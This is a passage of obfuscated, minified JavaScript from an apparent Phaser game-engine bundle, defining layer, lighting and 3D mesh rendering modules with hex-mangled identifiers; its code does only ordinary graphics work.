}, 0xb8c: _0x5d7b86 => { _0x5d7b86['exports'] = function (_0x2149a3, _0x685eae, _0x2e7747) { var _0x208813 = _0x685eae['list']; if (0x0 !== _0x208813['length']) { _0x685eae['depthSort'](); var _0x290034 = -0x1 !== _0x685eae['blendMode']; _0x290034 || _0x2149a3['setBlendMode'](0x0); var _0x548f1f = _0x685eae['_alpha']; _0x685eae['mask'] && _0x685eae['mask']['preRenderCanvas'](_0x2149a3, null, _0x2e7747); for (var _0xfffd1d = 0x0; _0xfffd1d < _0x208813['length']; _0xfffd1d++) { var _0xb1a186 = _0x208813[_0xfffd1d]; if (_0xb1a186['willRender'](_0x2e7747)) { var _0x422f4b = _0xb1a186['alpha']; _0x290034 || _0xb1a186['blendMode'] === _0x2149a3['currentBlendMode'] || _0x2149a3['setBlendMode'](_0xb1a186['blendMode']), _0xb1a186['setAlpha'](_0x422f4b * _0x548f1f), _0xb1a186['renderCanvas'](_0x2149a3, _0xb1a186, _0x2e7747), _0xb1a186['setAlpha'](_0x422f4b); } } _0x685eae['mask'] && _0x685eae['mask']['postRenderCanvas'](_0x2149a3); } }; }, 0x625b: (_0x518b42, _0x4ebc87, _0x12a709) => { var _0x25d654 = _0x12a709(0x62d9), _0x6870e8 = _0x12a709(0x16d9b), _0x2d5b7e = _0x12a709(0xae3b), _0x11e478 = _0x12a709(0x5c10); _0x2d5b7e['register']('layer', function (_0x41f569, _0x2cfd43) { void 0x0 === _0x41f569 && (_0x41f569 = {}); var _0x67b17d = _0x11e478(_0x41f569, 'children', null), _0x127e88 = new _0x6870e8(this['scene'], _0x67b17d); return void 0x0 !== _0x2cfd43 && (_0x41f569['add'] = _0x2cfd43), _0x25d654(this['scene'], _0x127e88, _0x41f569), _0x127e88; }); }, 0x4e25: (_0x4b1d3d, _0x4e0b2e, _0x37a288) => { var _0x2f6fa5 = _0x37a288(0x16d9b); _0x37a288(0x9a05)['register']('layer', function (_0x88ab68) { return this['displayList']['add'](new _0x2f6fa5(this['scene'], _0x88ab68)); }); }, 0x84ab: (_0x1cced3, _0x3b0261, _0x12f5a5) => { var _0x49b23d = _0x12f5a5(0x7433), _0x1d817f = _0x49b23d, _0x43f1c0 = _0x49b23d; _0x1d817f = _0x12f5a5(0x3dfd), _0x43f1c0 = _0x12f5a5(0xb8c), _0x1cced3['exports'] = { 'renderWebGL': _0x1d817f, 'renderCanvas': _0x43f1c0 }; }, 0x3dfd: _0x43fd63 => { _0x43fd63['exports'] = function (_0x470ff7, _0x1d9845, _0x23d4c5) { var _0x456785 = _0x1d9845['list'], _0x3371b3 = _0x456785['length']; if (0x0 !== _0x3371b3) { _0x1d9845['depthSort'](), _0x470ff7['pipelines']['preBatch'](_0x1d9845); var _0xca7dd = -0x1 !== _0x1d9845['blendMode']; _0xca7dd || _0x470ff7['setBlendMode'](0x0); for (var _0xb919e4 = _0x1d9845['alpha'], _0x2dc37e = 0x0; _0x2dc37e < _0x3371b3; _0x2dc37e++) { var _0x5bdc5c = _0x456785[_0x2dc37e]; if (_0x5bdc5c['willRender'](_0x23d4c5)) { var _0x98c1dc, _0x53c8f6, _0x48c55b, _0x1f2c02; if (void 0x0 !== _0x5bdc5c['alphaTopLeft']) _0x98c1dc = _0x5bdc5c['alphaTopLeft'], _0x53c8f6 = _0x5bdc5c['alphaTopRight'], _0x48c55b = _0x5bdc5c['alphaBottomLeft'], _0x1f2c02 = _0x5bdc5c['alphaBottomRight']; else { var _0x2e43bf = _0x5bdc5c['alpha']; _0x98c1dc = _0x2e43bf, _0x53c8f6 = _0x2e43bf, _0x48c55b = _0x2e43bf, _0x1f2c02 = _0x2e43bf; } _0xca7dd || _0x5bdc5c['blendMode'] === _0x470ff7['currentBlendMode'] || _0x470ff7['setBlendMode'](_0x5bdc5c['blendMode']); var _0x4c2fec = _0x5bdc5c['mask']; _0x4c2fec && _0x4c2fec['preRenderWebGL'](_0x470ff7, _0x5bdc5c, _0x23d4c5); var _0x3015ed = _0x5bdc5c['type']; _0x3015ed !== _0x470ff7['currentType'] && (_0x470ff7['newType'] = !0x0, _0x470ff7['currentType'] = _0x3015ed), _0x470ff7['nextTypeMatch'] = _0x2dc37e < _0x3371b3 - 0x1 && _0x456785[_0x2dc37e + 0x1]['type'] === _0x470ff7['currentType'], _0x5bdc5c['setAlpha'](_0x98c1dc * _0xb919e4, _0x53c8f6 * _0xb919e4, _0x48c55b * _0xb919e4, _0x1f2c02 * _0xb919e4), _0x5bdc5c['renderWebGL'](_0x470ff7, _0x5bdc5c, _0x23d4c5), _0x5bdc5c['setAlpha'](_0x98c1dc, _0x53c8f6, _0x48c55b, _0x1f2c02), _0x4c2fec && _0x4c2fec['postRenderWebGL'](_0x470ff7, _0x23d4c5), _0x470ff7['newType'] = !0x1; } } _0x470ff7['pipelines']['postBatch'](_0x1d9845); } }; }, 0xa1d8: (_0x4fabf7, _0x68488d, _0x6dd847) => { var _0x467398 = _0x6dd847(0x178f7), _0x6bd7f4 = _0x6dd847(0x145db), _0x3f8bd8 = _0x6dd847(0x7aa9), _0x238b6d = _0x6dd847(0xca37), _0x2f9796 = _0x6dd847(0x1139a), _0x40c459 = new _0x6bd7f4({ 'Extends': _0x467398, 'Mixins': [_0x3f8bd8['Origin'], _0x3f8bd8['ScrollFactor'], _0x3f8bd8['Visible']], 'initialize': function (_0xf690d7, _0x7148ea, _0x59b494, _0x3cc5b9, _0xdcb507, _0xa292f, _0x5ebc74) { _0x467398['call'](this, _0xf690d7, _0x7148ea, _0x59b494), this['color'] = new _0x238b6d(_0x3cc5b9, _0xdcb507, _0xa292f), this['intensity'] = _0x5ebc74, this['renderFlags'] = 0xf, this['cameraFilter'] = 0x0, this['setScrollFactor'](0x1, 0x1), this['setOrigin'](), this['setDisplayOrigin'](_0x59b494); }, 'displayWidth': { 'get': function () { return this['diameter']; }, 'set': function (_0x6413ea) { this['diameter'] = _0x6413ea; } }, 'displayHeight': { 'get': function () { return this['diameter']; }, 'set': function (_0x5a5260) { this['diameter'] = _0x5a5260; } }, 'width': { 'get': function () { return this['diameter']; }, 'set': function (_0x3de8d3) { this['diameter'] = _0x3de8d3; } }, 'height': { 'get': function () { return this['diameter']; }, 'set': function (_0x368da8) { this['diameter'] = _0x368da8; } }, 'willRender': function (_0x152180) { return !(_0x40c459['RENDER_MASK'] !== this['renderFlags'] || 0x0 !== this['cameraFilter'] && this['cameraFilter'] & _0x152180['id']); }, 'setColor': function (_0x26ddf1) { var _0x52d5e5 = _0x2f9796['getFloatsFromUintRGB'](_0x26ddf1); return this['color']['set'](_0x52d5e5[0x0], _0x52d5e5[0x1], _0x52d5e5[0x2]), this; }, 'setIntensity': function (_0x262a37) { return this['intensity'] = _0x262a37, this; }, 'setRadius': function (_0x168fa2) { return this['radius'] = _0x168fa2, this; } }); _0x40c459['RENDER_MASK'] = 0xf, _0x4fabf7['exports'] = _0x40c459; }, 0xefac: (_0x315670, _0x335a38, _0x32e732) => { var _0x84e016 = _0x32e732(0x13e53), _0x30af04 = _0x32e732(0x145db), _0x41f735 = _0x32e732(0x4f73), _0xd1ad3e = _0x32e732(0xa1d8), _0xcc909d = _0x32e732(0x139c1), _0x3d12bf = _0x32e732(0xca37), _0x1e0a59 = _0x32e732(0x4abd), _0x7fe543 = _0x32e732(0x4af2), _0x3c5ab2 = _0x32e732(0x1139a), _0xb7aa88 = new _0x30af04({ 'initialize': function () { this['lights'] = [], this['ambientColor'] = new _0x3d12bf(0.1, 0.1, 0.1), this['active'] = !0x1, this['maxLights'] = -0x1, this['visibleLights'] = 0x0; }, 'addPointLight': function (_0x8f1e7c, _0x1b6bac, _0x50f8ff, _0x255528, _0x521a75, _0x14b9da) { return this['systems']['displayList']['add'](new _0xcc909d(this['scene'], _0x8f1e7c, _0x1b6bac, _0x50f8ff, _0x255528, _0x521a75, _0x14b9da)); }, 'enable': function () { return -0x1 === this['maxLights'] && (this['maxLights'] = this['systems']['renderer']['config']['maxLights']), this['active'] = !0x0, this; }, 'disable': function () { return this['active'] = !0x1, this; }, 'getLights': function (_0x41b767) { for (var _0x3423bf = this['lights'], _0x5865b9 = _0x41b767['worldView'], _0x45d95b = [], _0x4a5a57 = 0x0; _0x4a5a57 < _0x3423bf['length']; _0x4a5a57++) { var _0x562dc9 = _0x3423bf[_0x4a5a57]; _0x562dc9['willRender'](_0x41b767) && _0x84e016(_0x562dc9, _0x5865b9) && _0x45d95b['push']({ 'light': _0x562dc9, 'distance': _0x41f735(_0x562dc9['x'], _0x562dc9['y'], _0x5865b9['centerX'], _0x5865b9['centerY']) }); } return _0x45d95b['length'] > this['maxLights'] && (_0x7fe543(_0x45d95b, this['sortByDistance']), _0x45d95b = _0x45d95b['slice'](0x0, this['maxLights'])), this['visibleLights'] = _0x45d95b['length'], _0x45d95b; }, 'sortByDistance': function (_0x40c3a4, _0x8634ad) { return _0x40c3a4['distance'] >= _0x8634ad['distance']; }, 'setAmbientColor': function (_0x4f43fa) { var _0x97de42 = _0x3c5ab2['getFloatsFromUintRGB'](_0x4f43fa); return this['ambientColor']['set'](_0x97de42[0x0], _0x97de42[0x1], _0x97de42[0x2]), this; }, 'getMaxVisibleLights': function () { return this['maxLights']; }, 'getLightCount': function () { return this['lights']['length']; }, 'addLight': function (_0x1076af, _0x252a6b, _0x48aaa5, _0x17779e, _0xf50b58) { void 0x0 === _0x1076af && (_0x1076af = 0x0), void 0x0 === _0x252a6b && (_0x252a6b = 0x0), void 0x0 === _0x48aaa5 && (_0x48aaa5 = 0x80), void 0x0 === _0x17779e && (_0x17779e = 0xffffff), void 0x0 === _0xf50b58 && (_0xf50b58 = 0x1); var _0x11f257 = _0x3c5ab2['getFloatsFromUintRGB'](_0x17779e), _0x5c3a23 = new _0xd1ad3e(_0x1076af, _0x252a6b, _0x48aaa5, _0x11f257[0x0], _0x11f257[0x1], _0x11f257[0x2], _0xf50b58); return this['lights']['push'](_0x5c3a23), _0x5c3a23; }, 'removeLight': function (_0x3140fb) { var _0x1a43f8 = this['lights']['indexOf'](_0x3140fb); return _0x1a43f8 >= 0x0 && _0x1e0a59(this['lights'], _0x1a43f8), this; }, 'shutdown': function () { this['lights']['length'] = 0x0; }, 'destroy': function () { this['shutdown'](); } }); _0x315670['exports'] = _0xb7aa88; }, 0x15ba0: (_0x17e94c, _0x3add92, _0x37ddf2) => { var _0x2b2ce9 = _0x37ddf2(0x145db), _0x10a442 = _0x37ddf2(0xefac), _0x5e6b4e = _0x37ddf2(0x919d), _0x238f47 = _0x37ddf2(0xae32), _0x3eb39f = new _0x2b2ce9({ 'Extends': _0x10a442, 'initialize': function (_0xf00272) { this['scene'] = _0xf00272, this['systems'] = _0xf00272['sys'], _0xf00272['sys']['settings']['isBooted'] || _0xf00272['sys']['events']['once'](_0x238f47['BOOT'], this['boot'], this), _0x10a442['call'](this); }, 'boot': function () { var _0x28eb19 = this['systems']['events']; _0x28eb19['on'](_0x238f47['SHUTDOWN'], this['shutdown'], this), _0x28eb19['on'](_0x238f47['DESTROY'], this['destroy'], this); }, 'destroy': function () { this['shutdown'](), this['scene'] = void 0x0, this['systems'] = void 0x0; } }); _0x5e6b4e['register']('LightsPlugin', _0x3eb39f, 'lights'), _0x17e94c['exports'] = _0x3eb39f; }, 0x125f: (_0x338b3a, _0x8455b1, _0x23243b) => { var _0x5e6bb5 = _0x23243b(0x145db), _0x504559 = _0x23243b(0x7aa9), _0x26aae2 = _0x23243b(0x9a52), _0x3f0f12 = _0x23243b(0x1481d), _0x4babdd = _0x23243b(0x1759b), _0x161998 = _0x23243b(0x877c), _0x220190 = _0x23243b(0x16963), _0x5f504c = _0x23243b(0x164a0), _0x3a77c5 = _0x23243b(0x93eb), _0x322c67 = _0x23243b(0x746f), _0x587818 = _0x23243b(0xa984), _0x25768c = _0x23243b(0x4af2), _0x46c5f1 = _0x23243b(0x64ec), _0xf94ea2 = _0x23243b(0x9996), _0x5197c2 = new _0x5e6bb5({ 'Extends': _0x4babdd, 'Mixins': [_0x504559['AlphaSingle'], _0x504559['BlendMode'], _0x504559['Depth'], _0x504559['Mask'], _0x504559['Pipeline'], _0x504559['PostPipeline'], _0x504559['ScrollFactor'], _0x504559['Size'], _0x504559['Texture'], _0x504559['Transform'], _0x504559['Visible'], _0x322c67], 'initialize': function (_0x310010, _0x53ea6f, _0x46e219, _0x4765d9, _0x4f2c22, _0x5e6616, _0x25d653, _0x3c4eab, _0x22ace1, _0x460801, _0x22dda7, _0x429d6d) { void 0x0 === _0x53ea6f && (_0x53ea6f = 0x0), void 0x0 === _0x46e219 && (_0x46e219 = 0x0), void 0x0 === _0x4765d9 && (_0x4765d9 = '__WHITE'), _0x4babdd['call'](this, _0x310010, 'Mesh'), this['faces'] = [], this['vertices'] = [], this['tintFill'] = !0x1, this['debugCallback'] = null, this['debugGraphic'] = null, this['hideCCW'] = !0x0, this['modelPosition'] = new _0x46c5f1(), this['modelScale'] = new _0x46c5f1(0x1, 0x1, 0x1), this['modelRotation'] = new _0x46c5f1(), this['dirtyCache'] = [0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0], this['transformMatrix'] = new _0x3a77c5(), this['viewPosition'] = new _0x46c5f1(), this['viewMatrix'] = new _0x3a77c5(), this['projectionMatrix'] = new _0x3a77c5(), this['totalRendered'] = 0x0, this['totalFrame'] = 0x0, this['ignoreDirtyCache'] = !0x1, this['fov'], this['displayOriginX'] = 0x0, this['displayOriginY'] = 0x0; var _0x3c0328 = _0x310010['sys']['renderer']; this['setPosition'](_0x53ea6f, _0x46e219), this['setTexture'](_0x4765d9, _0x4f2c22), this['setSize'](_0x3c0328['width'], _0x3c0328['height']), this['initPipeline'](), this['initPostPipeline'](), this['setPerspective'](_0x3c0328['width'], _0x3c0328['height']), _0x5e6616 && this['addVertices'](_0x5e6616, _0x25d653, _0x3c4eab, _0x22ace1, _0x460801, _0x22dda7, _0x429d6d); }, 'addedToScene': function () { this['scene']['sys']['updateList']['add'](this); }, 'removedFromScene': function () { this['scene']['sys']['updateList']['remove'](this); }, 'panX': function (_0x4072b8) { return this['viewPosition']['addScale'](_0x46c5f1['LEFT'], _0x4072b8), this['dirtyCache'][0xa] = 0x1, this; }, 'panY': function (_0x4db0a5) { return this['viewPosition']['y'] += _0x46c5f1['DOWN']['y'] * _0x4db0a5, this['dirtyCache'][0xa] = 0x1, this; }, 'panZ': function (_0x5bf2b9) { return this['viewPosition']['z'] += _0x5bf2b9, this['dirtyCache'][0xa] = 0x1, this; }, 'setPerspective': function (_0x1fbbfd, _0xd63419, _0x417551, _0x1bfe6c, _0x588cdd) { return void 0x0 === _0x417551 && (_0x417551 = 0x2d), void 0x0 === _0x1bfe6c && (_0x1bfe6c = 0.01), void 0x0 === _0x588cdd && (_0x588cdd = 0x3e8), this['fov'] = _0x417551, this['projectionMatrix']['perspective'](_0x26aae2(_0x417551), _0x1fbbfd / _0xd63419, _0x1bfe6c, _0x588cdd), this['dirtyCache'][0xa] = 0x1, this['dirtyCache'][0xb] = 0x0, this; }, 'setOrtho': function (_0x3cdd3, _0x55ff30, _0xd68b57, _0x10fd98) { return void 0x0 === _0x3cdd3 && (_0x3cdd3 = this['scene']['sys']['renderer']['getAspectRatio']()), void 0x0 === _0x55ff30 && (_0x55ff30 = 0x1), void 0x0 === _0xd68b57 && (_0xd68b57 = -0x3e8), void 0x0 === _0x10fd98 && (_0x10fd98 = 0x3e8), this['fov'] = 0x0, this['projectionMatrix']['ortho'](-_0x3cdd3, _0x3cdd3, -_0x55ff30, _0x55ff30, _0xd68b57, _0x10fd98), this['dirtyCache'][0xa] = 0x1, this['dirtyCache'][0xb] = 0x1, this; }, 'clear': function () { return this['faces']['forEach'](function (_0x1a8927) { _0x1a8927['destroy'](); }), this['faces'] = [], this['vertices'] = [], this; }, 'addVerticesFromObj': function (_0x1880b6, _0x10c9de, _0x4d4b0e, _0x49baa5, _0x2e922f, _0x1ba060, _0x29131d, _0x2a939a, _0x7b4601) { var _0x1238ca, _0x4a6fb3 = this['scene']['sys']['cache']['obj']['get'](_0x1880b6); return _0x4a6fb3 && (_0x1238ca = _0x161998(_0x4a6fb3, this, _0x10c9de, _0x4d4b0e, _0x49baa5, _0x2e922f, _0x1ba060, _0x29131d, _0x2a939a, _0x7b4601)), !_0x1238ca || _0x1238ca['verts']['length'], this; }, 'sortByDepth': function (_0x4b83f6, _0x4915c0) { return _0x4b83f6['depth'] - _0x4915c0['depth']; }, 'depthSort': function () { return _0x25768c(this['faces'], this['sortByDepth']), this; }, 'addVertex': function (_0x1b0a05, _0x4817c9, _0xc48105, _0x55b172, _0x3f3dae, _0x217390, _0x34630d) { var _0x205f49 = new _0xf94ea2(_0x1b0a05, _0x4817c9, _0xc48105, _0x55b172, _0x3f3dae, _0x217390, _0x34630d); return this['vertices']['push'](_0x205f49), _0x205f49; }, 'addFace': function (_0x3a9a71, _0x54d12f, _0x5cb536) { var _0x2d06cf = new _0x3f0f12(_0x3a9a71, _0x54d12f, _0x5cb536); return this['faces']['push'](_0x2d06cf), this['dirtyCache'][0x9] = -0x1, _0x2d06cf; }, 'addVertices': function (_0x25d47d, _0x45730a, _0x136cd4, _0x54a5c6, _0x3ece8f, _0x9057f2, _0x306363) { var _0x3a3835 = _0x220190(_0x25d47d, _0x45730a, _0x136cd4, _0x54a5c6, _0x3ece8f, _0x9057f2, _0x306363); return _0x3a3835 && (this['faces'] = this['faces']['concat'](_0x3a3835['faces']), this['vertices'] = this['vertices']['concat'](_0x3a3835['vertices'])), this['dirtyCache'][0x9] = -0x1, this; }, 'getFaceCount': function () { return this['faces']['length']; }, 'getVertexCount': function () { return this['vertices']['length']; }, 'getFace': function (_0x5deb11) { return this['faces'][_0x5deb11]; }, 'hasFaceAt': function (_0x356b3f, _0x26be03, _0x499dd3) { void 0x0 === _0x499dd3 && (_0x499dd3 = this['scene']['sys']['cameras']['main']); for (var _0x339391 = _0x5f504c(this, _0x499dd3)['calc'], _0x40b14a = this['faces'], _0x26622f = 0x0; _0x26622f < _0x40b14a['length']; _0x26622f++)if (_0x40b14a[_0x26622f]['contains'](_0x356b3f, _0x26be03, _0x339391)) return !0x0; return !0x1; }, 'getFaceAt': function (_0x409db3, _0x4202d1, _0x591331) { void 0x0 === _0x591331 && (_0x591331 = this['scene']['sys']['cameras']['main']); for (var _0x93dc61 = _0x5f504c(this, _0x591331)['calc'], _0x462025 = this['faces'], _0x342b64 = [], _0x1c3094 = 0x0; _0x1c3094 < _0x462025['length']; _0x1c3094++) { var _0x17ad9e = _0x462025[_0x1c3094]; _0x17ad9e['contains'](_0x409db3, _0x4202d1, _0x93dc61) && _0x342b64['push'](_0x17ad9e); } return _0x25768c(_0x342b64, this['sortByDepth']); }, 'setDebug': function (_0xac83c9, _0x35f715) { return this['debugGraphic'] = _0xac83c9, this['debugCallback'] = _0xac83c9 || _0x35f715 ? _0x35f715 || this['renderDebug'] : null, this; }, 'isDirty': function () { var _0x51924d = this['modelPosition'], _0xb5b974 = this['modelRotation'], _0x562019 = this['modelScale'], _0x5e28cc = this['dirtyCache'], _0x324e0a = _0x51924d['x'], _0x3c2c34 = _0x51924d['y'], _0x5e6494 = _0x51924d['z'], _0x560f35 = _0xb5b974['x'], _0x16c03f = _0xb5b974['y'], _0x3d5f59 = _0xb5b974['z'], _0x2b6c23 = _0x562019['x'], _0x2d8dc6 = _0x562019['y'], _0x1beae2 = _0x562019['z'], _0x52e9e4 = this['getFaceCount'](), _0x1cb33e = _0x5e28cc[0x0], _0x25be3b = _0x5e28cc[0x1], _0x2e2226 = _0x5e28cc[0x2], _0x2b7934 = _0x5e28cc[0x3], _0x4ed391 = _0x5e28cc[0x4], _0x372aa5 = _0x5e28cc[0x5], _0x54edfb = _0x5e28cc[0x6], _0x4747b1 = _0x5e28cc[0x7], _0x49d613 = _0x5e28cc[0x8], _0x5e7d2c = _0x5e28cc[0x9]; return _0x5e28cc[0x0] = _0x324e0a, _0x5e28cc[0x1] = _0x3c2c34, _0x5e28cc[0x2] = _0x5e6494, _0x5e28cc[0x3] = _0x560f35, _0x5e28cc[0x4] = _0x16c03f, _0x5e28cc[0x5] = _0x3d5f59, _0x5e28cc[0x6] = _0x2b6c23, _0x5e28cc[0x7] = _0x2d8dc6, _0x5e28cc[0x8] = _0x1beae2, _0x5e28cc[0x9] = _0x52e9e4, _0x1cb33e !== _0x324e0a || _0x25be3b !== _0x3c2c34 || _0x2e2226 !== _0x5e6494 || _0x2b7934 !== _0x560f35 || _0x4ed391 !== _0x16c03f || _0x372aa5 !== _0x3d5f59 || _0x54edfb !== _0x2b6c23 || _0x4747b1 !== _0x2d8dc6 || _0x49d613 !== _0x1beae2 || _0x5e7d2c !== _0x52e9e4; }, 'preUpdate': function () { this['totalRendered'] = this['totalFrame'], this['totalFrame'] = 0x0; var _0x236d27 = this['dirtyCache']; if (this['ignoreDirtyCache'] || _0x236d27[0xa] || this['isDirty']()) { var _0x4f71c5 = this['width'], _0x1cccd7 = this['height'], _0x15d149 = this['viewMatrix'], _0x420722 = this['viewPosition']; _0x236d27[0xa] && (_0x15d149['identity'](), _0x15d149['translate'](_0x420722), _0x15d149['invert'](), _0x236d27[0xa] = 0x0); var _0x352636 = this['transformMatrix']; _0x352636['setWorldMatrix'](this['modelRotation'], this['modelPosition'], this['modelScale'], this['viewMatrix'], this['projectionMatrix']); for (var _0xd3e6c2 = _0x420722['z'], _0x4528b5 = this['faces'], _0x409534 = 0x0; _0x409534 < _0x4528b5['length']; _0x409534++)_0x4528b5[_0x409534]['transformCoordinatesLocal'](_0x352636, _0x4f71c5, _0x1cccd7, _0xd3e6c2); this['depthSort'](); } }, 'renderDebug': function (_0x32f833, _0x47015f) { for (var _0x1e1c18 = _0x32f833['debugGraphic'], _0x189cd1 = 0x0; _0x189cd1 < _0x47015f['length']; _0x189cd1++) { var _0x6a9f19 = _0x47015f[_0x189cd1], _0x197b8d = _0x6a9f19['vertex1']['tx'], _0x15b141 = _0x6a9f19['vertex1']['ty'], _0x58d024 = _0x6a9f19['vertex2']['tx'], _0x27d514 = _0x6a9f19['vertex2']['ty'], _0x4999ec = _0x6a9f19['vertex3']['tx'], _0x5ff90 = _0x6a9f19['vertex3']['ty']; _0x1e1c18['strokeTriangle'](_0x197b8d, _0x15b141, _0x58d024, _0x27d514, _0x4999ec, _0x5ff90); } }, 'preDestroy': function () { this['clear'](), this['debugCallback'] = null, this['debugGraphic'] = null; }, 'clearTint': function () { return this['setTint'](); }, 'setInteractive': function (_0x159bcc) { void 0x0 === _0x159bcc && (_0x159bcc = {}); var _0x5632aa = function (_0x5402ba, _0x522928, _0xff8a1c) { for (var _0x20db68 = this['faces'], _0x4f71c3 = 0x0; _0x4f71c3 < _0x20db68['length']; _0x4f71c3++)if (_0x20db68[_0x4f71c3]['contains'](_0x522928, _0xff8a1c)) return !0x0; return !0x1; }['bind'](this); return this['scene']['sys']['input']['enable'](this, _0x159bcc, _0x5632aa), this; }, 'setTint': function (_0x7942e9) { void 0x0 === _0x7942e9 && (_0x7942e9 = 0xffffff); for (var _0x2a3995 = this['vertices'], _0x11b717 = 0x0; _0x11b717 < _0x2a3995['length']; _0x11b717++)_0x2a3995[_0x11b717]['color'] = _0x7942e9; return this; }, 'uvScroll': function (_0x45addf, _0x5c4ea0) { for (var _0x50bbfb = this['faces'], _0x46b5ba = 0x0; _0x46b5ba < _0x50bbfb['length']; _0x46b5ba++)_0x50bbfb[_0x46b5ba]['scrollUV'](_0x45addf, _0x5c4ea0); return this; }, 'uvScale': function (_0x57d077, _0x193700) { for (var _0x4bf917 = this['faces'], _0x4d8eab = 0x0; _0x4d8eab < _0x4bf917['length']; _0x4d8eab++)_0x4bf917[_0x4d8eab]['scaleUV'](_0x57d077, _0x193700); return this; }, 'tint': { 'set': function (_0x4143c6) { this['setTint'](_0x4143c6); } }, 'rotateX': { 'get': function () { return _0x587818(this['modelRotation']['x']); }, 'set': function (_0x407e5a) { this['modelRotation']['x'] = _0x26aae2(_0x407e5a); } }, 'rotateY': { 'get': function () { return _0x587818(this['modelRotation']['y']); }, 'set': function (_0x583496) { this['modelRotation']['y'] = _0x26aae2(_0x583496); } }, 'rotateZ': { 'get': function () { return _0x587818(this['modelRotation']['z']); }, 'set': function (_0x357ee9) { this['modelRotation']['z'] = _0x26aae2(_0x357ee9); } } }); _0x338b3a['exports'] = _0x5197c2; }, 0x8e88: _0x14b32a => { _0x14b32a['exports'] = function () { }; }, 0x502f: (_0x1d4efa, _0x326e46, _0x323ae0) => { var _0x3eecba = _0x323ae0(0x62d9), _0x3c7199 = _0x323ae0(0xae3b), _0x9693cb = _0x323ae0(0x5c10), _0x426037 = _0x323ae0(0x8952), _0x2c20f7 = _0x323ae0(0x125f); _0x3c7199['register']('mesh', function (_0x16ba7f, _0x43beb7) { void 0x0 === _0x16ba7f && (_0x16ba7f = {}); var _0x1a727b = _0x9693cb(_0x16ba7f, 'key', null), _0x31169a = _0x9693cb(_0x16ba7f, 'frame', null), _0x8af02 = _0x426037(_0x16ba7f, 'vertices', []), _0x4f136c = _0x426037(_0x16ba7f, 'uvs', []), _0x5a3df1 = _0x426037(_0x16ba7f, 'indicies', []), _0x5a48f6 = _0x426037(_0x16ba7f, 'containsZ', !0x1), _0xe71c8d = _0x426037(_0x16ba7f, 'normals', []), _0x26844e = _0x426037(_0x16ba7f, 'colors', 0xffffff), _0x28966f = _0x426037(_0x16ba7f, 'alphas', 0x1), _0x287167 = new _0x2c20f7(this['scene'], 0x0, 0x0, _0x1a727b, _0x31169a, _0x8af02, _0x4f136c, _0x5a3df1, _0x5a48f6, _0xe71c8d, _0x26844e, _0x28966f); return void 0x0 !== _0x43beb7 && (_0x16ba7f['add'] = _0x43beb7), _0x3eecba(this['scene'], _0x287167, _0x16ba7f), _0x287167; }); }, 0x2409: (_0x3aa19d, _0x73468d, _0x33f4b1) => { var _0x1d68ee = _0x33f4b1(0x125f); _0x33f4b1(0x9a05)['register']('mesh', function (_0x112301, _0x30202a, _0x203ec5, _0x3b48c4, _0x387ceb, _0x5ed09b, _0x330233, _0x8b43b5, _0x547e36, _0x44baac, _0x15431f) { return this['displayList']['add'](new _0x1d68ee(this['scene'], _0x112301, _0x30202a, _0x203ec5, _0x3b48c4, _0x387ceb, _0x5ed09b, _0x330233, _0x8b43b5, _0x547e36, _0x44baac, _0x15431f)); }); }, 0x746f: (_0x1fb6e5, _0x487378, _0x3c4bbd) => { var _0x120ccd = _0x3c4bbd(0x7433), _0x17ee79 = _0x120ccd, _0x538c09 = _0x120ccd; _0x17ee79 = _0x3c4bbd(0xbec1), _0x538c09 = _0x3c4bbd(0x8e88), _0x1fb6e5['exports'] = { 'renderWebGL': _0x17ee79, 'renderCanvas': _0x538c09 }; }, 0xbec1: (_0x1dd1dd, _0x5a648c, _0x429c08) => { var _0x58fb23 = _0x429c08(0x164a0); _0x1dd1dd['exports'] = function (_0x5a742e, _0x279c34, _0xaa5012, _0xc1145b) { var _0x50e16f = _0x279c34['faces'], _0x236403 = _0x50e16f['length']; if (0x0 !== _0x236403) { _0xaa5012['addToRenderList'](_0x279c34); var _0x24f8da = _0x5a742e['pipelines']['set'](_0x279c34['pipeline'], _0x279c34), _0x70636f = _0x58fb23(_0x279c34, _0xaa5012, _0xc1145b)['calc']; _0x5a742e['pipelines']['preBatch'](_0x279c34); for (var _0x47b762 = _0x24f8da['setGameObject'](_0x279c34), _0x1a6afe = _0x24f8da['vertexViewF32'], _0x4d68b2 = _0x24f8da['vertexViewU32'], _0x35ca8b = _0x24f8da['vertexCount'] * _0x24f8da['currentShader']['vertexComponentCount'] - 0x1, _0x58c69c = _0x279c34['tintFill'], _0x2e463a = [], _0x537e08 = _0x279c34['debugCallback'], _0x1d6e2f = _0x70636f['a'], _0x4c5470 = _0x70636f['b'], _0x59b5f7 = _0x70636f['c'], _0x49412b = _0x70636f['d'], _0x551569 = _0x70636f['e'], _0x324767 = _0x70636f['f'], _0x4ba778 = _0x279c34['viewPosition']['z'], _0x45ecc7 = _0x279c34['hideCCW'], _0x5d9dbe = _0xaa5012['roundPixels'], _0x3d0b28 = _0xaa5012['alpha'] * _0x279c34['alpha'], _0x2845bd = 0x0, _0x425d7c = 0x0; _0x425d7c < _0x236403; _0x425d7c++) { var _0x45dcd5 = _0x50e16f[_0x425d7c]; _0x45dcd5['isInView'](_0xaa5012, _0x45ecc7, _0x4ba778, _0x3d0b28, _0x1d6e2f, _0x4c5470, _0x59b5f7, _0x49412b, _0x551569, _0x324767, _0x5d9dbe) && (_0x24f8da['shouldFlush'](0x3) && (_0x24f8da['flush'](), _0x47b762 = _0x24f8da['setGameObject'](_0x279c34), _0x35ca8b = _0x24f8da['vertexCount'] * _0x24f8da['currentShader']['vertexComponentCount'] - 0x1), _0x35ca8b = _0x45dcd5['load'](_0x1a6afe, _0x4d68b2, _0x35ca8b, _0x47b762, _0x58c69c), _0x2845bd++, _0x24f8da['vertexCount'] += 0x3, _0x24f8da['currentBatch']['count'] = _0x24f8da['vertexCount'] - _0x24f8da['currentBatch']['start'], _0x537e08 && _0x2e463a['push'](_0x45dcd5)); } _0x279c34['totalFrame'] += _0x2845bd, _0x537e08 && _0x537e08['call'](_0x279c34, _0x279c34, _0x2e463a), _0x5a742e['pipelines']['postBatch'](_0x279c34); } }; }, 0x6dc7: (_0x4a4469, _0x4962bd, _0x157d63) => { var _0x3ef72b = _0x157d63(0x145db), _0x3d9471 = _0x157d63(0x7aa9), _0x4d9bfa = _0x157d63(0x1759b), _0x1be0c2 = _0x157d63(0x130c7), _0x4d5d0b = _0x157d63(0x9996), _0x241e22 = new _0x3ef72b({ 'Extends': _0x4d9bfa, 'Mixins': 